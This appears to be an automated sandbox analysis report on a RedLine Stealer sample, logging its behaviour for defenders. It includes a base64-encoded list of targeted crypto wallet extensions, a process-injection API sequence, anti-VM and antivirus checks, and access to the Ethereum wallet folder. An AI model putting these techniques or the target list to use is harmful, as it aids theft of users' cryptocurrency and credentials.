Source: 0.3.file.exe.10b0000.0.unpack, BrEx.cs

Base64 encoded string: 'ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8WW9yb2lXYWxsZXQKaWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8VHJvbmxpbmsKamJkYW9jbmVpaWlubWpiamxnYWxoY2VsZ2Jlam1uaWR8TmlmdHlXYWxsZXQKbmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58TWV0YW1hc2sKYWZiY2JqcGJwZmFkbGttaG1jbGhrZWVvZG1hbWNmbGN8TWF0aFdhbGxldApobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHxDb2luYmFzZQpmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHxCaW5hbmNlQ2hhaW4Kb2RiZnBlZWloZGtiaWhtb3BrYmptb29uZmFubGJmY2x8QnJhdmVXYWxsZXQKaHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58R3VhcmRhV2FsbGV0CmJsbmllaWlmZmJvaWxsa25qbmVwb2dqaGtnbm9hcGFjfEVxdWFsV2FsbGV0CmNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfEpheHh4TGliZXJ0eQpmaWhrYWtmb2JrbWtqb2pwY2hwZmdjbWhmam5tbmZwaXxCaXRBcHBXYWxsZXQKa25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8aVdhbGxldAphbWttamptbWZsZGRvZ21ocGpsb2ltaXBib2ZuZmppaHxXb21iYXQKZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8QXRvbWljV2FsbGV0Cm5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfE1ld0N4Cm5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfEd1aWxkV2FsbGV0Cm5rZGRnbmNkamdqZmNkZGFtZmdjbWZubGhjY25pbWlnfFNhdHVybldhbGxldApmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3xSb25pbldhbGxldAphaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHxUZXJyYVN0YXRpb24KZm5uZWdwaGxvYmpkcGtoZWNhcGtpampka2djamhraWJ8SGFybW9ueVdhbGxldAphZWFjaGtubWVmcGhlcGNjaW9uYm9vaGNrb25vZWVtZ3xDb2luOThXYWxsZXQKY2dlZW9kcGZhZ2pjZWVmaWVmbG1kZnBocGxrZW5sZmt8VG9uQ3J5c3RhbApwZGFkamtma2djYWZnYmNlaW1jcGJrYWxuZm5lcGJua3xLYXJkaWFDaGFpbgpiZm5hZWxtb21laW1obHBtZ2puam9waGhwa2tvbGpwYXxQaGFudG9tCmZoaWxhaGVpbWdsaWduZGRramdvZmtjYmdla2hlbmJofE94eWdlbgptZ2Zma2ZiaWRpaGpwb2FvbWFqbGJnY2hkZGxpY2dwbnxQYWxpV2FsbGV0CmFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfEJvbHRYCmtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufExpcXVhbGl0eVdhbGxldApobWVvYm5mbmZjbWRrZGNtbGJsZ2FnbWZwZmJvaWVhZnxYZGVmaVdhbGxldApscGZjYmprbmlqcGVlaWxsaWZua2lrZ25jaWtnZmhkb3xOYW1pV2FsbGV0CmRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfE1haWFyRGVGaVdhbGxldApmZm5iZWxmZG9laW9oZW5ramlibm1hZGppZWhqaGFqYnxZb3JvaVdhbGxldAppYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3xUcm9ubGluawpqYmRhb2NuZWlpaW5tamJqbGdhbGhjZWxnYmVqbW5pZHxOaWZ0eVdhbGxldApua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnxNZXRhbWFzawphZmJjYmpwYnBmYWRsa21obWNsaGtlZW9kbWFtY2ZsY3xNYXRoV2FsbGV0CmhuZmFua25vY2Zlb2ZiZGRnY2lqbm1obmZua2RuYWFkfENvaW5iYXNlCmZoYm9oaW1hZWxib2hwamJibGRjbmdjbmFwbmRvZGpwfEJpbmFuY2VDaGFpbgpvZGJmcGVlaWhka2JpaG1vcGtiam1vb25mYW5sYmZjbHxCcmF2ZVdhbGxldApocGdsZmhnZm5oYmdwamRlbmpnbWRnb2VpYXBwYWZsbnxHdWFyZGFXYWxsZXQKYmxuaWVpaWZmYm9pbGxrbmpuZXBvZ2poa2dub2FwYWN8RXF1YWxXYWxsZXQKY2plbGZwbHBsZWJkamplbmxscGpjYmxtamtmY2ZmbmV8SmF4eHhMaWJlcnR5CmZpaGtha2ZvYmtta2pvanBjaHBmZ2NtaGZqbm1uZnBpfEJpdEFwcFdhbGxldAprbmNjaGRpZ29iZ2hlbmJiYWRkb2pqbm5hb2dmcHBmanxpV2FsbGV0CmFta21qam1tZmxkZG9nbWhwamxvaW1pcGJvZm5mamlofFdvbWJhdApmaGlsYWhlaW1nbGlnbmRka2pnb2ZrY2JnZWtoZW5iaHxBdG9taWNXYWxsZXQKbmxibW5uaWpjbmxlZ2tqanBjZmpjbG1jZmdnZmVmZG18TWV3Q3gKbmFuam1ka25oa2luaWZua2dkY2dnY2ZuaGRhYW1tbWp8R3VpbGRXYWxsZXQKbmtkZGduY2RqZ2pmY2RkYW1mZ2NtZm5saGNjbmltaWd8U2F0dXJuV2FsbGV0CmZuamhta2hobWtiamtrYWJuZGNubm9nYWdvZ2JuZWVjfFJvbmluV2FsbGV

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5332:120:WilError_01

Source: file.exe

Static file information: File size 2564217 > 1048576

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0045E04B push eax; mov dword ptr [esp], ebx	0_2_0049A366
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00460079 push eax; mov dword ptr [esp], ebx	0_2_0049A366
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0045E094 push eax; mov dword ptr [esp], ebx	0_2_0049A836
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0045E094 push edx; mov dword ptr [esp], edi	0_2_0049A876
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00460141 push eax; mov dword ptr [esp], ebx	0_2_0049A366
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0043C1E1 push eax; mov dword ptr [esp], ebx	0_2_0043C1F5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0046018A push eax; mov dword ptr [esp], ebx	0_2_0049A836
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0046018A push edx; mov dword ptr [esp], edi	0_2_0049A876
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0045E19B push eax; mov dword ptr [esp], ebx	0_2_0049A366
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00460209 push eax; mov dword ptr [esp], ebx	0_2_0049A366
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0043022A push edx; mov dword ptr [esp], ebx	0_2_0043023E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0046422C push eax; mov dword ptr [esp], ebx	0_2_00464244
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00464228 push eax; mov dword ptr [esp], ebx	0_2_00464244
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00464230 push eax; mov dword ptr [esp], ebx	0_2_00464244
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0045E2D1 push eax; mov dword ptr [esp], ebx	0_2_0049A366
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004602D1 push eax; mov dword ptr [esp], ebx	0_2_0049A366
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040BA4A push eax; mov dword ptr [esp], ebx	0_2_0049A366
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040BA4A push eax; mov dword ptr [esp], ebx	0_2_0049A366
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0045C35A push eax; mov dword ptr [esp], esi	0_2_0049905D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0046031A push eax; mov dword ptr [esp], ebx	0_2_0049A836
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0046031A push edx; mov dword ptr [esp], edi	0_2_0049A876
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0045E31A push eax; mov dword ptr [esp], ebx	0_2_0049A836
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0045E31A push edx; mov dword ptr [esp], edi	0_2_0049A876
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0044C3C5 push ecx; mov dword ptr [esp], ebx	0_2_0044C404
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0043C3C1 push eax; mov dword ptr [esp], ebx	0_2_0043C3D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0045C3C6 push eax; mov dword ptr [esp], esi	0_2_0049905D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0044C3C1 push ecx; mov dword ptr [esp], ebx	0_2_0044C404
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0044C3C9 push ecx; mov dword ptr [esp], ebx	0_2_0044C404
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004643D0 push eax; mov dword ptr [esp], ebx	0_2_00464640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004643D0 push edx; mov dword ptr [esp], ebx	0_2_0046465A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0045E399 push eax; mov dword ptr [esp], ebx	0_2_0049A366

Source: file.exe	Static PE information: section name: /4
Source: file.exe	Static PE information: section name: /14
Source: file.exe	Static PE information: section name: /29
Source: file.exe	Static PE information: section name: /41
Source: file.exe	Static PE information: section name: /55
Source: file.exe	Static PE information: section name: /67
Source: file.exe	Static PE information: section name: /80
Source: file.exe	Static PE information: section name: /91
Source: file.exe	Static PE information: section name: /107

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 6096	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 6100	Thread sleep count: 5309 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 5408	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Registry key enumerated: More than 149 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Window / User API: threadDelayed 5309

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\file.exe

API coverage: 2.5 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: vbc.exe, 00000002.00000002.355418857.0000000004F64000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwareOWDZAPCUWin32_VideoControllerC85DSAXGVideoController120060621000000.000000-00077580863display.infMSBDAMG1VXMERPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colorsN6OX5TYYtring
Source: vbc.exe, 00000002.00000002.355418857.0000000004F64000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware
Source: vbc.exe, 00000002.00000002.355418857.0000000004F64000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004A116C mov eax, dword ptr fs:[00000030h]

0_2_004A116C

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003E1150 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,_cexit,exit,		0_2_003E1150
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003E119B SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,		0_2_003E119B

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 730000			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 466008			Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 730000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 730000 value starts with: 4D5A

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004A11A1 CreateProcessW,GetThreadContext,ReadProcessMemory,VirtualAlloc,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualProtectEx,VirtualFree,WriteProcessMemory,SetThreadContext,ResumeThread,

0_2_004A11A1

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\vbc.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.3.file.exe.10b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4a17a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.3e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.263012533.00000000010B2000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5316, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 5384, type: MEMORYSTR

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\			Jump to behavior
